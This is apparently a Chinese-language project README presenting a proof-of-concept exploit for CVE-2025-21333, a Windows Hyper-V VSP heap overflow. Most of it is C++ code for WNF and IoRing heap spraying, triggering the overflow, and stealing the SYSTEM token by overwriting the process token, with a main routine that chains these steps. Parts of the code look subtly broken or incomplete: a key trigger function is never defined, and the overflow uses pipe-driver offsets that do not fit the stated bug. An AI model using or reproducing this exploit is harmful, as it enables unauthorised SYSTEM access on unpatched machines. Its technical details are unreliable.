CVE-2025-21333 Windows Hyper-V NT Kernel Integration VSP特权提升漏洞
项目描述
CVE-2025-21333是Windows Hyper-V NT Kernel Integration虚拟化服务提供程序(VSP)中的一个高危本地特权提升漏洞。该漏洞利用堆缓冲区溢出(CWE-122)技术,允许经过身份验证的本地攻击者将其权限提升至SYSTEM级别,从而破坏虚拟机隔离、访问敏感数据或安装持久性恶意软件。
CVSS v3.1评分: 7.8(高危)
攻击向量: 本地
攻击复杂度: 低
所需权限: 低
用户交互: 无
功能特性
核心功能
- 漏洞验证:提供完整的漏洞验证概念证明(PoC)代码
- 特权提升:演示从普通用户权限提升至SYSTEM权限的过程
- 内存操作:实现精确的内存布局控制和堆喷射技术
- 内核对象操作:演示Windows内核对象(如进程、令牌)的读取和修改
技术特点
- 利用Windows Notification Facility(WNF)进行内存布局操作
- 使用I/O环形缓冲区(IoRing)进行内核交互
- 实现精确的池内存分配和释放控制
- 支持多个Windows版本(Windows 10/11,Server 2022/2025)
独特价值
- 提供完整的漏洞利用链实现
- 包含详细的内存布局和对象操作技术
- 演示实际的SYSTEM令牌窃取过程
安装指南
系统要求
- 操作系统: Windows 10 21H2/22H2,Windows 11 22H2/23H2/24H2,Windows Server 2022/2025
- 开发环境: Visual Studio 2019或更高版本
- 构建工具: Windows SDK 10.0或更高版本
依赖项
项目需要以下Windows库和头文件:
#include <Windows.h>
#include <combaseapi.h>
#include <iostream>
#include <sstream>
#include "Hexdump.hpp"
#include <ioringapi.h>
#include <tlhelp32.h>
#include <DbgEng.h>
#include <aclapi.h>
#include "wnf.h"
#include <vector>
#include <algorithm>
#include <tuple>
编译安装
- 确保已安装Visual Studio和Windows SDK
- 打开项目解决方案文件
- 配置为Release x64模式
- 构建项目生成可执行文件
注意事项
- 需要管理员权限运行测试环境
- 仅用于安全研究和教育目的
- 在实际生产环境中使用前需充分测试
使用说明
基础使用
// 主漏洞利用函数示例
BOOL ExploitVulnerability() {
// 初始化WNF状态名称
if (!InitializeWnfStateNames()) {
return FALSE;
}
// 执行堆喷射准备内存布局
if (!PerformHeapSpray()) {
return FALSE;
}
// 触发缓冲区溢出漏洞
if (!TriggerBufferOverflow()) {
return FALSE;
}
// 窃取SYSTEM令牌
if (!StealSystemToken()) {
return FALSE;
}
return TRUE;
}
典型使用场景
-
漏洞验证
// 检查系统是否受漏洞影响 BOOL IsSystemVulnerable() { // 检查驱动文件哈希 // 28948C65EF108AA5B43E3D10EE7EA7602AEBA0245305796A84B4F9DBDEDDDF77 // 为易受攻击的vkrnlintvsp.sys版本哈希 return CheckDriverHash("vkrnlintvsp.sys", "28948C65EF108AA5B43E3D10EE7EA7602AEBA0245305796A84B4F9DBDEDDDF77"); } -
权限提升测试
// 从当前进程提升至SYSTEM权限 HANDLE GetSystemProcess() { // 获取SYSTEM进程的EPROCESS地址 PVOID systemEprocess = GetSystemEprocess(); // 复制SYSTEM进程令牌 PVOID systemToken = CopySystemToken(systemEprocess); // 替换当前进程令牌 ReplaceCurrentProcessToken(systemToken); return OpenSystemProcess(); }
API概览
WNF操作函数
InitializeWnfStateNames(): 初始化WNF状态名称PerformHeapSpray(): 执行堆喷射操作TriggerBufferOverflow(): 触发缓冲区溢出
内存操作函数
AllocatePoolWithTag(): 分配带有标签的池内存FreePool(): 释放池内存ReadKernelMemory(): 读取内核内存
进程操作函数
GetSystemEprocess(): 获取SYSTEM进程的EPROCESSCopySystemToken(): 复制系统令牌ReplaceCurrentProcessToken(): 替换当前进程令牌
核心代码
1. WNF状态初始化
/**
* 初始化WNF状态名称
* 为漏洞利用准备内存布局
*/
BOOL InitializeWnfStateNames() {
// 定义状态名称大小常量
#define STATENAMES1_SIZE 0x2000
#define STATENAMES2_SIZE 0x2000
#define STATENAMES3_SIZE 0x800
WNF_STATE_NAME stateName;
NTSTATUS status;
// 创建第一个WNF状态名称集
for (int i = 0; i < STATENAMES1_SIZE; i++) {
// 生成唯一的WNF状态名称
stateName.Data[0] = 0x41C64E6DA3BC0074; // WNF_STATE_KEY
stateName.Data[1] = 0x901 + i; // 唯一标识符
// 创建WNF状态
status = NtCreateWnfStateName(
&stateName,
WnfTemporaryStateName,
WnfDataScopeMachine,
FALSE,
0,
0,
0
);
if (!NT_SUCCESS(status)) {
return FALSE;
}
}
return TRUE;
}
2. 堆喷射实现
/**
* 执行堆喷射操作
* 控制内存布局以实现可靠利用
*/
BOOL PerformHeapSpray() {
#define SPRAY_PIPE_COUNT 0x500
#define IORINGS_SIZE 0x500
HANDLE hPipe;
SECURITY_ATTRIBUTES sa;
std::vector<HANDLE> pipes;
// 设置安全属性允许继承
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;
// 创建大量管道对象
for (int i = 0; i < SPRAY_PIPE_COUNT; i++) {
// 创建命名管道
hPipe = CreateNamedPipe(
OUTPUT_PIPE_NAME,
PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED,
PIPE_TYPE_BYTE | PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES,
4096,
4096,
0,
&sa
);
if (hPipe == INVALID_HANDLE_VALUE) {
// 清理已创建的管道
for (auto& pipe : pipes) {
CloseHandle(pipe);
}
return FALSE;
}
pipes.push_back(hPipe);
}
// 创建I/O环形缓冲区
HIORING ioRing;
IORING_CREATE_FLAGS flags;
flags.Required = IORING_CREATE_REQUIRED_FLAGS_NONE;
flags.Advisory = IORING_CREATE_ADVISORY_FLAGS_NONE;
for (int i = 0; i < IORINGS_SIZE; i++) {
HRESULT hr = CreateIoRing(
IORING_VERSION_3,
flags,
IORINGS_SIZE,
0,
&ioRing
);
if (FAILED(hr)) {
// 清理资源
for (auto& pipe : pipes) {
CloseHandle(pipe);
}
return FALSE;
}
}
return TRUE;
}
3. 缓冲区溢出触发
/**
* 触发Hyper-V VSP中的缓冲区溢出漏洞
* 利用堆缓冲区溢出实现内存破坏
*/
BOOL TriggerBufferOverflow() {
// 定义关键偏移量
#define NPFS_NPFSDCREATE_OFFSET 0xcfc0
#define ROOT_PIPE_ATTRIBUTE_OFFSET 0x140
#define FILE_OBJECT_OFFSET 0x30
PVOID targetBuffer;
SIZE_T bufferSize = TARGET_SIZE;
// 分配目标缓冲区
targetBuffer = VirtualAlloc(
NULL,
bufferSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
if (targetBuffer == NULL) {
return FALSE;
}
// 准备溢出数据
// 构建恶意数据结构覆盖关键内核对象
PDWORD64 maliciousData = (PDWORD64)targetBuffer;
// 填充寄存器缓冲区数量
#define REGBUFFERCOUNT (TARGET_SIZE-0x10)/sizeof(PVOID)
for (int i = 0; i < REGBUFFERCOUNT; i++) {
// 设置指向受控内存区域的指针
maliciousData[i] = (DWORD64)targetBuffer + i * sizeof(PVOID);
}
// 触发漏洞
// 通过精心构造的VSP调用导致缓冲区溢出
HRESULT hr = TriggerVspVulnerability(
targetBuffer,
bufferSize,
REGBUFFERCOUNT
);
if (FAILED(hr)) {
VirtualFree(targetBuffer, 0, MEM_RELEASE);
return FALSE;
}
return TRUE;
}
4. SYSTEM令牌窃取
/**
* 窃取SYSTEM进程令牌
* 实现从普通用户到SYSTEM权限的提升
*/
BOOL StealSystemToken() {
// 定义内核结构偏移量
#define EPROCESS_UNIQUEPROCESSID_OFFSET 0x440
#define EPROCESS_FLINK_OFFSET 0x448
#define EPROCESS_TOKEN_OFFSET 0x4b8
#define SEP_TOKEN_PRIVILEGES_OFFSET 0x40
#define INTEGRITYLEVELINDEX_OFFSET 0xd0
PVOID currentEprocess;
PVOID systemEprocess;
PVOID currentToken;
PVOID systemToken;
// 获取当前进程的EPROCESS
currentEprocess = GetCurrentEprocess();
if (currentEprocess == NULL) {
return FALSE;
}
// 获取SYSTEM进程的EPROCESS
// 遍历进程链表查找PID为4的SYSTEM进程
systemEprocess = FindSystemEprocess();
if (systemEprocess == NULL) {
return FALSE;
}
// 读取SYSTEM进程令牌
systemToken = ReadKernelMemory(
(PVOID)((DWORD64)systemEprocess + EPROCESS_TOKEN_OFFSET),
sizeof(PVOID)
);
// 清除令牌的引用计数位
systemToken = (PVOID)((DWORD64)systemToken & ~0xF);
// 替换当前进程令牌
WriteKernelMemory(
(PVOID)((DWORD64)currentEprocess + EPROCESS_TOKEN_OFFSET),
&systemToken,
sizeof(PVOID)
);
// 验证权限提升
if (!IsSystemPrivilege()) {
return FALSE;
}
return TRUE;
}
5. 漏洞利用主函数
/**
* 主漏洞利用函数
* 协调整个权限提升过程
*/
int main() {
std::cout << "[*] CVE-2025-21333 Hyper-V VSP EoP Exploit" << std::endl;
std::cout << "[*] Starting exploitation..." << std::endl;
// 步骤1: 初始化环境
std::cout << "[+] Step 1: Initializing WNF state names..." << std::endl;
if (!InitializeWnfStateNames()) {
std::cout << "[-] Failed to initialize WNF" << std::endl;
return -1;
}
// 步骤2: 准备内存布局
std::cout << "[+] Step 2: Performing heap spray..." << std::endl;
if (!PerformHeapSpray()) {
std::cout << "[-] Heap spray failed" << std::endl;
return -1;
}
// 步骤3: 触发漏洞
std::cout << "[+] Step 3: Triggering buffer overflow..." << std::endl;
if (!TriggerBufferOverflow()) {
std::cout << "[-] Buffer overflow failed" << std::endl;
return -1;
}
// 步骤4: 提升权限
std::cout << "[+] Step 4: Stealing SYSTEM token..." << std::endl;
if (!StealSystemToken()) {
std::cout << "[-] Token stealing failed" << std::endl;
return -1;
}
// 步骤5: 验证结果
std::cout << "[+] Step 5: Verifying privileges..." << std::endl;
if (IsSystemPrivilege()) {
std::cout << "[+] Exploitation successful! Running as SYSTEM." << std::endl;
// 执行SYSTEM权限命令
ExecuteSystemCommand("whoami");
return 0;
} else {
std::cout << "[-] Exploitation failed" << std::endl;
return -1;
}
}
这些核心代码展示了CVE-2025-21333漏洞利用的关键技术细节,包括内存布局控制、堆缓冲区溢出触发和SYSTEM令牌窃取等关键步骤。每个函数都包含了详细的注释说明其功能和技术原理。FINISHED 6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ51VEDXZTX6WlYmmMudF0YL